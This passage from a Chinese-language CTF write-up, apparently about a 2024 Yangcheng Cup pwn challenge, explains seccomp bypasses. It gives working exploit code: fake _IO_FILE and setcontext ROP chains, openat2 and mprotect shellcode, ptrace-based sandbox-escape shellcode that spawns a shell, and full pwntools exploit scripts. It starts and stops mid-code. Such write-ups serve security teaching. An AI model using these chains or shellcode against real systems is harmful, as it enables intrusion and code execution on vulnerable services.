0x10]\ngadget2=libcbase+0x160e56#0x0000000000160e56 : mov rdx, qword ptr &#91;rax + 0x38] ; mov rdi, rax ; call qword ptr &#91;rdx + 0x20]<\/code><\/pre>\n\n\n\n<p>\u5177\u4f53\u662f\u600e\u4e48\u52ab\u6301\u63a7\u5236\u6d41\u7684\u5462\uff1f\u770b\u4e0b\u9762\u7684\u8fd9\u5f20\u56fe\u5427\uff0c\u5177\u4f53\u5c31\u4e0d\u591a\u8d58\u8ff0\u4e86\uff0c\u800c\u4e14\u6bcf\u4e2a\u9898\u90fd\u4e0d\u4e00\u5b9a\u4e00\u6837<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/09\/image-6-1024x851.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"851\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/09\/image-6-1024x851.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-302\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6700\u7ec8\u6267\u884c\u5230setcontext\uff0c\u518d\u5229\u7528setcontext\u8bbe\u7f6e\u5404\u4e2a\u5bc4\u5b58\u5668\uff0c\u5305\u62ecrsp\uff0c\u4ece\u800c\u987a\u9053\u5b9e\u73b0\u4e86\u6808\u8fc1\u79fb<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"openat2%E6%89%93%E6%B3%95\"><\/span>openat2\u6253\u6cd5<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>\u63a5\u4e0b\u6765\u5c31\u5148\u6765\u8bf4\u8bf4openat2\u7684\u6253\u6cd5\uff0copenat2\u4e5f\u6709\u4e24\u79cd\u6253\u6cd5\uff0c\u8fd9\u91cc\u5206\u6761\u9648\u8ff0<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"1%E6%9E%84%E9%80%A0ROP%E9%93%BE\"><\/span>1.\u6784\u9020ROP\u94fe<span class=\"ez-toc-section-end\"><\/span><\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code>payload=p64(0)*4\npayload+=p64(libcbase+libc.symbols&#91;'setcontext']+61)+p64(0)\npayload+=p64(0)*7\npayload+=p64(0xffffffffffffff9c)#rdi\npayload+=p64(flagaddr)#rsi\npayload+=p64(0)*2\npayload+=p64(how)#rdx\npayload+=p64(0)*2\npayload+=p64(rsp+8)\npayload+=p64(pop_rax)\ngadgat3=0x241D6+libcbase\ndata = flat({\n    0:bytes(f2)&#91;16:],\n    0xf0:&#91;0,0,0,0,0,0,0,0,0,0,0],\n    0x158:gadget1,\n    0x1d0:payloadbase+0x100,\n    0x1f0:payload,\n    0x2f0:{\n        0x10:gadgat3,\n        0x28:&#91;0x18,payloadbase+0x10],\n        0x58:0,\n        0x70:{#\u8fd9\u91cc\u662f\u8c03\u7528\u5b8csetcontext\u4e4b\u540ersp\u6307\u5411\u7684\u4f4d\u7f6e\n            0:pop_rax,\n            0x8:437,\n            0x10:syscall,\n            0x18:pop_rdi,\n            0x20:3,\n            0x28:pop_rsi,\n            0x30:flagaddr,\n            0x38:pop_rax_rdx_rbx,\n            0x40:&#91;0,300,0],\n            0x58:syscall,\n            0x60:pop_rdi,\n            0x68:1,\n            0x70:pop_rax,\n            0x78:1,\n            0x80:syscall\n        },\n    },\n    0x3f0:'.\/flag\\0',\n    0x400:&#91;0,0,0]\n})<\/code><\/pre>\n\n\n\n<p>\u524d\u9762\u601d\u8def\u5206\u6790\u4e2d\uff0c\u6709\u4e00\u4e2a\u8981\u70b9\u6ca1\u6709\u63d0\u5230\uff0c\u90a3\u5c31\u662fopenat2\u7684\u7b2c\u56db\u4e2a\u53c2\u6570\uff0c\u5728\u5b9e\u9645\u8c03\u8bd5\u4e2d\uff0c\u8fd9\u4e2a\u53c2\u6570\u5b58\u653e\u5728r10\u91cc\uff0c\u4e0d\u770b\u8fd8\u597d\uff0c\u4e00\u67e5\u627e\uff0c\u4f60\u4f1a\u53d1\u73b0\uff0c\u6ca1\u6709\u4efb\u4f55\u548cpop r10,ret\u6709\u5173\u7684gadget\uff0c\u800c\u6240\u6709\u7684mov\u6307\u4ee4\uff0cr10\u90fd\u662fmov\u7684\u7b2c\u4e8c\u4e2a\u53c2\u6570\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0cr10\u53ea\u4f5c\u4e3a\u88abmov\u7684\u503c\uff0c\u672c\u8eab\u4e0d\u4f1a\u6539\u53d8\uff0c\u8fd9\u5c31\u9ebb\u70e6\u4e86\uff0c\u6211\u5c31\u76f4\u63a5\u5230libc\u91cc\u53bb\u627e\uff0c\u522b\u8bf4\uff0c\u8fd8\u771f\u8ba9\u6211\u627e\u5230\u4e86\uff0c\u57280x241D6\u7684\u4f4d\u7f6e\u6211\u627e\u5230\u4e86\u8fd9\u6837\u4e00\u6bb5gadget<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.text:00000000000241D6                 mov     r10, &#91;rsp+10h]\n.text:00000000000241DB                 mov     r11, &#91;rsp+18h]\n.text:00000000000241E0\n.text:00000000000241E0 loc_241E0:                              ; CODE XREF: sub_240D0+1BE\u2193j\n.text:00000000000241E0                 cmp     qword ptr &#91;r11], 0\n.text:00000000000241E4                 jz      short loc_241FA\n.text:00000000000241E6                 mov     r12, &#91;rsp+58h+var_50]\n.text:00000000000241EB                 add     r12, r10\n.text:00000000000241EE                 shl     r12, 4\n.text:00000000000241F2                 mov     rdx, &#91;rbx+r12+10h]\n.text:00000000000241F7                 mov     &#91;r11], rdx\n.text:00000000000241FA\n.text:00000000000241FA loc_241FA:                              ; CODE XREF: sub_240D0+114\u2191j\n.text:00000000000241FA                 add     rsp, 28h\n.text:00000000000241FE                 pop     rbx\n.text:00000000000241FF                 pop     rbp\n.text:0000000000024200                 pop     r12\n.text:0000000000024202                 pop     r13\n.text:0000000000024204                 pop     r14\n.text:0000000000024206                 pop     r15\n.text:0000000000024208                 retn<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u53ef\u4ee5\u628a[rsp+0x10]\u5b58\u653e\u7684\u4e1c\u897f\u4ed8\u7ed9r10\uff0c\u628a[rsp+0x18]\u5b58\u653e\u7684\u4e1c\u897f\u8d4b\u7ed9r11\uff0c\u63a5\u7740\u6bd4\u8f83\u4e00\u4e0b[r11]\u5b58\u653e\u7684\u4e1c\u897f\u662f\u4e0d\u662f0\uff0c\u5982\u679c\u662f0\uff0c\u90a3\u4e48\u4f1a\u8df3\u8f6c\u52300x241FA\u7684\u4f4d\u7f6e\uff0c\u6267\u884c\u4e00\u4e2aadd rsp\uff08\u76f8\u5f53\u4e8e\u597d\u51e0\u4e2apop\uff09\uff0c\u518d\u6765\u597d\u51e0\u4e2apop\uff0c\u6700\u540ereturn\uff0c\u6240\u4ee5\u6211\u4eec\u53ea\u9700\u8981\u7a7a\u51fa\u4e00\u5b9a\u7684\u7a7a\u95f4\uff0c\u8ba9\u7a0b\u5e8f\u6267\u884c\u4e00\u5806\u6ca1\u7528\u7684pop\u5c31\u53ef\u4ee5\u4e86\uff0c\u5f53\u7136\uff0c\u524d\u63d0\u662f\u8981\u5728[rsp+0x18]\u7684\u4f4d\u7f6e\u5b58\u653e\u4e00\u4e2a\u5730\u5740\u8d4b\u7ed9r11\uff0c\u8fd9\u4e2a\u5730\u5740\u5b58\u653e\u7684\u503c\u662f0\uff0c\u8fd9\u6bb5gadget\u8bb0\u4e3a<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">gadget3<\/mark><\/p>\n\n\n\n<p>\u5176\u4ed6\u7684\u5c31\u662f\u8c03\u7528\u4e86orw\u4e86\uff0c\u8fd9\u5757\u4e0d\u5fc5\u591a\u8bf4\u4e86<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"2mprotectshellcode\"><\/span>2.mprotect+shellcode<span class=\"ez-toc-section-end\"><\/span><\/h5>\n\n\n\n<p>\u601d\u8def\u548c\u524d\u9762\u7684\u6709\u91cd\u5408\uff0c\u518d\u5229\u7528setcontext\u8bbe\u7f6e\u597d\u5bc4\u5b58\u5668\u5e76\u8fdb\u884c\u6808\u8fc1\u79fb\u540e\uff0c\u8c03\u7528mprotect\u628a\u5806\u8bbe\u7f6e\u6210\u53ef\u6267\u884c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>payload=p64(0)*4\npayload+=p64(libcbase+libc.symbols&#91;'setcontext']+61)+p64(0)\npayload+=p64(0)*7\npayload+=p64(heapbase)#rdi\npayload+=p64(0x8000)#rsi\npayload+=p64(0)*2\npayload+=p64(7)\npayload+=p64(0)+p64(0x18)\npayload+=p64(rsp+8)\npayload+=p64(pop_rax)\n\ndata = flat({\n    0:bytes(f2)&#91;16:],#\u4f2a\u9020\u7b2c\u4e00\u4e2a_IO_file\u7ed3\u6784\u4f53\uff0c\u4f46\u662fpre_size\u548csize\u5df2\u7ecf\u5360\u7528\u4e8616\u5b57\u8282\n    0xf0:&#91;0,0,0,0,0,0,0,0,0,0,0],\n    0x158:gadget1,\n    0x1d0:payloadbase+0x100,\n    0x1f0:payload,\n    0x300:{\n            0:pop_rax,\n            0x8:10,\n            0x10:syscall,\n            0x18:0x1e30+heapbase,\n            0x20:shellcode\n        },\n})<\/code><\/pre>\n\n\n\n<p>shellcode\u5c31\u662f\u7b2c\u4e00\u4e2a\u677f\u5757\u7684openat2\u7684shellcode<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"ptrace%E6%89%93%E6%B3%95\"><\/span>ptrace\u6253\u6cd5<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>\u539f\u7406\u5b8c\u5168\u4e0d\u61c2\uff0c\u53ea\u4f1a\u5957\u677f\u5b50\uff0c\u5173\u4e8e\u8fd9\u4e2a\u9898\u4e3a\u4ec0\u4e48\u53ef\u4ee5\u8fd9\u6837\u6253\uff0c\u8c8c\u4f3c\u548c\u90a3\u4e2areturn TRACE\u6709\u5173\u7cfb\uff0c\u8c8c\u4f3c\u662f\u5982\u679c\u662freturn kill\u5c31\u4e0d\u884c\u4e86\uff0c\u5177\u4f53\u4e3a\u4ec0\u4e48\u9f20\u9f20\u4e5f\u4e0d\u77e5\u9053\uff0c\u6709\u4e86\u89e3\u7684\u5e08\u5085\u6c42\u6559<\/p>\n\n\n\n<p>\u76f4\u63a5\u6253shellcode\u5c31\u53ef\u4ee5\u4e86<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"1%E7%9B%B4%E6%8E%A5orw\"><\/span>1.\u76f4\u63a5orw<span class=\"ez-toc-section-end\"><\/span><\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code>shellcode2 = f'''\nmain:\n\/*fork()*\/\npush {NR_fork}\npop rax\nsyscall\npush rax\npop rbx\ntest rax,rax\njz child_code\n\n\n\/*ptrace(PTRACE_ATTACH, pid, NULL, NULL)*\/\nxor r10, r10\nxor edx, edx\nmov rsi,rbx\nmov rdi,{PTRACE_ATTACH}\npush {NR_ptrace}\npop rax\nsyscall\n\n\n\/* wait child *\/\nxor rdi, rdi\npush {NR_wait}\npop rax\nsyscall\n\n\n\/* ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESECCOMP) *\/\nmov r10,{PTRACE_O_TRACESECCOMP}\nxor rdx, rdx\nmov rsi,rbx\nmov rdi, 0x4200\npush {NR_ptrace}\npop rax\nsyscall\njs error\n\n\n\/* ptrace(PTRACE_CONT, pid, NULL, NULL) *\/\nxor r10,r10\nxor rdx,rdx\nmov rsi,rbx\nmov rdi, {PTRACE_CONT} \/* PTRACE_CONT *\/\npush {NR_ptrace}\npop rax\nsyscall\njs error\n\n\n\/* Wait seccomp *\/\nxor rdi, rdi\npush {NR_wait}\npop rax\nsyscall\n\n\nxor r10,r10\nxor rdx,rdx\nmov rsi,rbx\nmov rdi,{PTRACE_DETACH}\npush {NR_ptrace}\npop rax\nsyscall\njmp end\n\n\nchild_code:\n{shellcraft.open('\/flag')}\n{shellcraft.sendfile(1, 3, 0, 0x100)}\nerror:\n\/* exit *\/\nxor rdi, rdi\nmov rax, 60\nsyscall\nend:\nnop\n'''<\/code><\/pre>\n\n\n\n<p>\u4f46\u662f\u672c\u5730\u4e0d\u901a\uff0c\u8d39\u89e3\uff0c\u8c8c\u4f3c\u662ffork\u5931\u8d25\u4e86<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"2%E7%9B%B4%E6%8E%A5getshell\"><\/span>2.\u76f4\u63a5getshell<span class=\"ez-toc-section-end\"><\/span><\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code>order2 = b'h\\x00'&#91;::-1].hex()\norder1 = b'\/bin\/bas'&#91;::-1].hex()\nshellcode = asm(f\"\"\"\n_start:\n    \/* Step 1: fork a new process *\/\n    mov rax, 57             \/* syscall number for fork (on x86_64) *\/\n    syscall                 \/* invoke fork() *\/\n    test rax, rax           \/* check if return value is 0 (child) or positive (parent) *\/\n    js _exit                \/* if fork failed, exit *\/\n    \/* Step 2: If parent process, attach to child process *\/\n    cmp rax, 0              \/* are we the child process? *\/\n    je child_process        \/* if yes, jump to child_process *\/\nparent_process:\n    \/* Store child PID *\/\n    mov r8,rax\n    mov rsi, r8            \/* rdi = child PID *\/\n    \/* Attach to child process *\/\n    mov rax, 101            \/* syscall number for ptrace *\/\n    mov rdi, 0x10           \/* PTRACE_ATTACH *\/\n    xor rdx, rdx            \/* no options *\/\n    xor r10, r10            \/* no data *\/\n    syscall                 \/* invoke ptrace(PTRACE_ATTACH, child_pid, 0, 0) *\/\nmonitor_child:\n    \/* Wait for the child to stop *\/\n\n    mov rdi, r8            \/* rdi = child PID *\/\n    mov rsi, rsp            \/*  no status*\/\n    xor rdx, rdx            \/* no options *\/\n    xor r10, r10            \/* no rusage *\/\n    mov rax, 61             \/* syscall number for wait4 *\/\n    syscall                 \/* invoke wait4() *\/\n    \/* Set ptrace options *\/\n    mov rax, 110\n    syscall    \n    mov rdi, 0x4200         \/* PTRACE_SETOPTIONS *\/\n    mov rsi, r8            \/* rsi = child PID *\/\n    xor rdx, rdx            \/* no options *\/\n    mov r10, 0x00000080     \/* PTRACE_O_TRACESECCOMP *\/\n    mov rax, 101            \/* syscall number for ptrace *\/\n    syscall                 \/* invoke ptrace(PTRACE_SETOPTIONS, child_pid, 0, 0) *\/\n    \/* Allow the child process to continue *\/\n    mov rax, 110\n    syscall\n\n    mov rdi, 0x7            \/* PTRACE_CONT *\/\n    mov rsi, r8            \/* rsi = child PID *\/\n    xor rdx, rdx            \/* no options *\/\n    xor r10, r10            \/* no data *\/\n    mov rax, 101            \/* syscall number for ptrace *\/\n    syscall                 \/* invoke ptrace(PTRACE_CONT, child_pid, 0, 0) *\/\n    \/* Loop to keep monitoring the child *\/\n    jmp monitor_child\nchild_process:\n    \/* Child process code here *\/\n    \/* For example, we could execute a shell or perform other actions *\/\n    \/* To keep it simple, let's just execute `\/bin\/sh` *\/\n\n    \/* sleep(5) *\/\n    \/* push 0 *\/\n    push 1\n    dec byte ptr &#91;rsp]\n    \/* push 5 *\/\n    push 5\n    \/* nanosleep(requested_time='rsp', remaining=0) *\/\n    mov rdi, rsp\n    xor esi, esi \/* 0 *\/\n    \/* call nanosleep() *\/\n    push SYS_nanosleep \/* 0x23 *\/\n    pop rax\n    syscall\n    mov rax, 0x{order2}  \/* \"\/bin\/sh\" *\/\n    push rax\n    mov rax, 0x{order1}  \/* \"\/bin\/sh\" *\/\n    push rax\n    mov rdi, rsp    \n    mov rsi, 0\n    xor rdx, rdx\n    mov rax, 59             \/* syscall number for execve *\/\n    syscall\n    jmp child_process\n_exit:\n    \/* Exit the process *\/\n    mov rax, 60             \/* syscall number for exit *\/\n    xor rdi, rdi            \/* status 0 *\/\n    syscall\n\"\"\")<\/code><\/pre>\n\n\n\n<p>\u8fd9\u6bb5payload\u80fd\u591f\u7a33\u5b9a\u7684getshell\uff0c\u4f46\u662f\u7528\u4e0d\u4e86ls\uff0ccat\u7b49\u547d\u4ee4\uff0c\u539f\u56e0\u53c2\u8003\u81ea<a href=\"https:\/\/qanux.github.io\/2024\/08\/28\/%E7%BE%8A%E5%9F%8E%E6%9D%AF%202024%20pwn%20writeup\/\">\u7f8a\u57ce\u676f 2024 pwn writeup | Qanux&#8217;s space<\/a><\/p>\n\n\n\n<p>\u90a3\u4e3a\u4ec0\u4e48&nbsp;<code>ls\u3001cat<\/code>&nbsp;\u7b49\u6307\u4ee4\u65e0\u6cd5\u4f7f\u7528\u5462\uff1f\u8fd9\u91cc\u4ee5&nbsp;<code>ls<\/code>&nbsp;\u4e3a\u4f8b\u89e3\u91ca\u4e00\u4e0b\uff1a<br>ls\u547d\u4ee4\u7684\u5b9e\u73b0\u53ef\u4ee5\u5206\u4e3a\u4ee5\u4e0b\u51e0\u4e2a\u6b65\u9aa4\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u6253\u5f00\u76ee\u5f55\uff1a\u9996\u5148\uff0c\u9700\u8981\u6253\u5f00\u8981\u5217\u51fa\u6587\u4ef6\u7684\u76ee\u5f55\u3002\u53ef\u4ee5\u4f7f\u7528\u00a0<code>open()<\/code>\u00a0\u7cfb\u7edf\u8c03\u7528\u6765\u6253\u5f00\u76ee\u5f55\uff0c\u5e76\u83b7\u5f97\u4e00\u4e2a\u76ee\u5f55\u6587\u4ef6\u63cf\u8ff0\u7b26\u3002<\/li>\n\n\n\n<li>\u8bfb\u53d6\u76ee\u5f55\u9879\uff1a\u901a\u8fc7\u00a0<code>readdir()<\/code>\u00a0\u7cfb\u7edf\u8c03\u7528\uff0c\u53ef\u4ee5\u4ece\u6253\u5f00\u7684\u76ee\u5f55\u4e2d\u8bfb\u53d6\u76ee\u5f55\u9879\u3002<code>readdir()<\/code>\u00a0\u4f1a\u8fd4\u56de\u4e00\u4e2a\u6307\u5411\u76ee\u5f55\u9879\u7ed3\u6784\u4f53\u7684\u6307\u9488\u3002\u901a\u8fc7\u5faa\u73af\u8c03\u7528\u00a0<code>readdir()<\/code>\uff0c\u53ef\u4ee5\u9010\u4e2a\u8bfb\u53d6\u76ee\u5f55\u4e2d\u7684\u6587\u4ef6\u3002<\/li>\n\n\n\n<li>\u8fc7\u6ee4\u9690\u85cf\u6587\u4ef6\uff1a\u5728\u8bfb\u53d6\u76ee\u5f55\u9879\u4e4b\u540e\uff0c\u9700\u8981\u5bf9\u76ee\u5f55\u9879\u8fdb\u884c\u8fc7\u6ee4\u3002Linux\u4e2d\u7684\u9690\u85cf\u6587\u4ef6\u4ee5.\u5f00\u5934\uff0c\u53ef\u4ee5\u901a\u8fc7\u5224\u65ad\u76ee\u5f55\u9879\u7684\u540d\u5b57\u7684\u7b2c\u4e00\u4e2a\u5b57\u7b26\u662f\u5426\u4e3a.\u6765\u8fc7\u6ee4\u9690\u85cf\u6587\u4ef6\u3002<\/li>\n\n\n\n<li>\u8f93\u51fa\u76ee\u5f55\u9879\u4fe1\u606f\uff1a\u8bfb\u53d6\u5230\u4e00\u4e2a\u76ee\u5f55\u9879\u4e4b\u540e\uff0c\u53ef\u4ee5\u901a\u8fc7\u76ee\u5f55\u9879\u7ed3\u6784\u4f53\u4e2d\u7684\u5b57\u6bb5\u83b7\u53d6\u6587\u4ef6\u7684\u5c5e\u6027\u4fe1\u606f\uff0c\u6bd4\u5982\u6587\u4ef6\u540d\u3001\u5927\u5c0f\u3001\u4fee\u6539\u65f6\u95f4\u7b49\u3002\u53ef\u4ee5\u4f7f\u7528\u00a0<code>printf()<\/code>\u00a0\u51fd\u6570\u5c06\u8fd9\u4e9b\u4fe1\u606f\u8f93\u51fa\u5230\u7ec8\u7aef\u3002<\/li>\n\n\n\n<li>\u5173\u95ed\u76ee\u5f55\uff1a\u4f7f\u7528\u00a0<code>closedir()<\/code>\u00a0\u7cfb\u7edf\u8c03\u7528\u6765\u5173\u95ed\u6253\u5f00\u7684\u76ee\u5f55\uff0c\u91ca\u653e\u8d44\u6e90\u3002<\/li>\n<\/ol>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u6267\u884c&nbsp;<code>ls<\/code>&nbsp;\u547d\u4ee4\u9700\u8981\u4f7f\u7528&nbsp;<code>open<\/code>&nbsp;\u7cfb\u7edf\u8c03\u7528\uff0c\u53ef\u662f\u6211\u4eec\u62ff\u5230\u7684&nbsp;<code>shell<\/code>&nbsp;\u4f9d\u7136\u5904\u4e8e\u6c99\u7bb1\u7684\u73af\u5883\u4e2d\uff0c<code>open<\/code>&nbsp;\u7cfb\u7edf\u8c03\u7528\u7ed9\u7981\u6b62\u4f7f\u7528\uff0c\u8fd9\u4e5f\u610f\u5473\u7740\u6211\u4eec\u65e0\u6cd5\u4f7f\u7528&nbsp;<code>ls<\/code>&nbsp;\u547d\u4ee4<\/p>\n\n\n\n<p>\u6240\u4ee5Qanux\u5e08\u5085\u7ed9\u4e86\u8fd9\u6837\u4e00\u6bb5\u547d\u4ee4<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># ls\necho *\n\n# cat flag\nwhile IFS = read -r line; do\n    echo \"$line\"\ndone &lt; flag<\/code><\/pre>\n\n\n\n<p>\u4e0d\u8fc7\u6211\u6267\u884c\u4e86\u4e4b\u540e\u8fd8\u662f\u51fa\u4e0d\u6765flag\uff0c\u53ef\u80fd\u662f\u672c\u5730\u548c\u8fdc\u7aef\u73af\u5883\u7684\u95ee\u9898\u5427\uff1f\u4e0d\u8fc7\u6211\u8fdc\u7aef\u4e5f\u6ca1\u6709\u6253\u8fc7<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%AE%8C%E6%95%B4payload\"><\/span>\u5b8c\u6574payload<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<h5 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"1openat2rop\"><\/span>1.openat2+rop<span class=\"ez-toc-section-end\"><\/span><\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwnplus import *\nfrom pwncli import *\ncontext.arch = 'amd64'\ncontext.log_level = 'debug'\np=mypwn('.\/pwn')\nlibc = ELF('.\/libc.so.6')\ndef choose(num):\n    p.sla(b'>',str(num))\ndef add(index,size):\n    choose(1)\n    p.sla(b'Index: ',str(index))\n    p.sla(b'Size: ',str(size))\ndef delete(index):\n    choose(2)\n    p.sla(b'Index: ',str(index))\ndef edit(index,content):\n    choose(3)\n    p.sla(b'Index: ',str(index))\n    p.sla(b'Content: ',content)\ndef show(index):\n    choose(4)\n    p.sla(b'Index: ',str(index))\n\nadd(0,0x600)\nadd(1,0x610)\nadd(2,0x610)\nadd(3,0x610)\nadd(4,0x600)\nadd(5,0x600)\ndelete(1)\ndelete(3)\nshow(1)\nlibcbase=p.uu64()-0x21ace0+0x024020\nshow(3)\nheapbase=p.uu64()-0x8a0\nprint('libcbase',hex(libcbase))\nprint('heapbase',hex(heapbase))\nadd(5,0x620)\n# p.debug()\nfd=0x14f0+heapbase\nbk=0x1f7130+libcbase\nadd(6,0x610)\ndelete(4)\nedit(1,p64(fd)+p64(bk)+p64(0)+p64(libcbase+libc.symbols&#91;'_IO_list_all']-0x20))\nadd(7,0x640)\n_IO_file_jumps=libcbase+libc.symbols&#91;'_IO_file_jumps']\n_IO_wfile_jumps=libcbase+libc.symbols&#91;'_IO_wfile_jumps']\npayloadbase=heapbase+0x1b00\nchain=payloadbase+0x100\ngadget1=libcbase+0x00000000001565ca#0x00000000001565ca : mov rax, qword ptr &#91;rdi + 0x38] ; call qword ptr &#91;rax + 0x10]\ngadget2=libcbase+0x160e56#0x0000000000160e56 : mov rdx, qword ptr &#91;rax + 0x38] ; mov rdi, rax ; call qword ptr &#91;rdx + 0x20]\nflagaddr=payloadbase+0x400\nhow=payloadbase+0x410\nf2=IO_FILE_plus_struct()\nf2._IO_read_base=gadget2\nf2._IO_write_ptr=1\nf2._IO_buf_end=payloadbase+0x200\nf2._IO_buf_base=payloadbase+8\nf2._flags2 = 8\nf2._mode = 0\nf2._wide_data = payloadbase+0x100\nf2.vtable = _IO_wfile_jumps\nrop=ROP(libc)\npop_r12 = rop.find_gadget(&#91;'pop r12', 'ret']).address + libcbase\npop_rsi = rop.find_gadget(&#91;'pop rsi', 'ret']).address + libcbase\npop_rdi = rop.find_gadget(&#91;'pop rdi', 'ret']).address + libcbase\npop_rax = rop.find_gadget(&#91;'pop rax', 'ret']).address + libcbase\npop_r12_r13 = rop.find_gadget(&#91;'pop r12', 'pop r13', 'ret']).address + libcbase\npop_rax_rdx_rbx = rop.find_gadget(&#91;'pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase\nsyscall = rop.find_gadget(&#91;'syscall', 'ret']).address + libcbase\nprctl=libcbase+libc.symbols&#91;'prctl']\nsystem=libcbase+libc.symbols&#91;'system']\nrsp=payloadbase+0x300\npayload=p64(0)*4\npayload+=p64(libcbase+libc.symbols&#91;'setcontext']+61)+p64(0)\npayload+=p64(0)*7\npayload+=p64(0xffffffffffffff9c)#rdi\npayload+=p64(flagaddr)#rsi\npayload+=p64(0)*2\npayload+=p64(how)#rdx\npayload+=p64(0)*2\npayload+=p64(rsp+8)\npayload+=p64(pop_rax)\ngadgat3=0x241D6+libcbase\ndata = flat({\n    0:bytes(f2)&#91;16:],\n    0xf0:&#91;0,0,0,0,0,0,0,0,0,0,0],\n    0x158:gadget1,\n    0x1d0:payloadbase+0x100,\n    0x1f0:payload,\n    0x2f0:{\n        0x10:gadgat3,\n        0x28:&#91;0x18,payloadbase+0x10],\n        0x58:0,\n        0x70:{\n            0:pop_rax,\n            0x8:437,\n            0x10:syscall,\n            0x18:pop_rdi,\n            0x20:3,\n            0x28:pop_rsi,\n            0x30:flagaddr,\n            0x38:pop_rax_rdx_rbx,\n            0x40:&#91;0,300,0],\n            0x58:syscall,\n            0x60:pop_rdi,\n            0x68:1,\n            0x70:pop_rax,\n            0x78:1,\n            0x80:syscall\n        },\n    },\n    0x3f0:'.\/flag\\0',\n    0x400:&#91;0,0,0]\n})\n\n\nedit(4,data)\nprint(hex(gadget2))\n# p.debug()\nchoose(5)\n\np.ia()<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"2openat2shellcode\"><\/span>2.openat2+shellcode<span class=\"ez-toc-section-end\"><\/span><\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwnplus import *\nfrom pwncli import *\nimport pwnlib.shellcraft as sc\ncontext.arch = 'amd64'\ncontext.log_level = 'debug'\np=mypwn('.\/pwn')\nlibc = ELF('.\/libc.so.6')\ndef choose(num):\n    p.sla(b'>',str(num))\ndef add(index,size):\n    choose(1)\n    p.sla(b'Index: ',str(index))\n    p.sla(b'Size: ',str(size))\ndef delete(index):\n    choose(2)\n    p.sla(b'Index: ',str(index))\ndef edit(index,content):\n    choose(3)\n    p.sla(b'Index: ',str(index))\n    p.sla(b'Content: ',content)\ndef show(index):\n    choose(4)\n    p.sla(b'Index: ',str(index))\n\nadd(0,0x600)\nadd(1,0x610)\nadd(2,0x610)\nadd(3,0x610)\nadd(4,0x600)\nadd(5,0x600)\ndelete(1)\ndelete(3)\nshow(1)\nlibcbase=p.uu64()-0x21ace0+0x024020\nshow(3)\nheapbase=p.uu64()-0x8a0\nprint('libcbase',hex(libcbase))\nprint('heapbase',hex(heapbase))\n#--------\u6cc4\u9732libc\u548cheap-----------\nadd(5,0x620)\n# p.debug()\nfd=0x14f0+heapbase\nbk=0x1f7130+libcbase\nadd(6,0x610)\ndelete(4)\nedit(1,p64(fd)+p64(bk)+p64(0)+p64(libcbase+libc.symbols&#91;'_IO_list_all']-0x20))\nadd(7,0x640)\n#----------largebin attack-------------\n_IO_file_jumps=libcbase+libc.symbols&#91;'_IO_file_jumps']\n_IO_wfile_jumps=libcbase+libc.symbols&#91;'_IO_wfile_jumps']\npayloadbase=heapbase+0x1b00\nchain=payloadbase+0x100\ngadget1=libcbase+0x00000000001565ca#0x00000000001565ca : mov rax, qword ptr &#91;rdi + 0x38] ; call qword ptr &#91;rax + 0x10]\ngadget2=libcbase+0x160e56#0x0000000000160e56 : mov rdx, qword ptr &#91;rax + 0x38] ; mov rdi, rax ; call qword ptr &#91;rdx + 0x20]\nflagaddr=payloadbase+0x400\nf2=IO_FILE_plus_struct()\nf2._IO_read_base=gadget2\nf2._IO_write_ptr=1\nf2._IO_buf_end=payloadbase+0x200\nf2._IO_buf_base=payloadbase+8\nf2._flags2 = 8\nf2._mode = 0\nf2._wide_data = payloadbase+0x100\nf2.vtable = _IO_wfile_jumps\nrop=ROP(libc)\npop_r12 = rop.find_gadget(&#91;'pop r12', 'ret']).address + libcbase\npop_rsi = 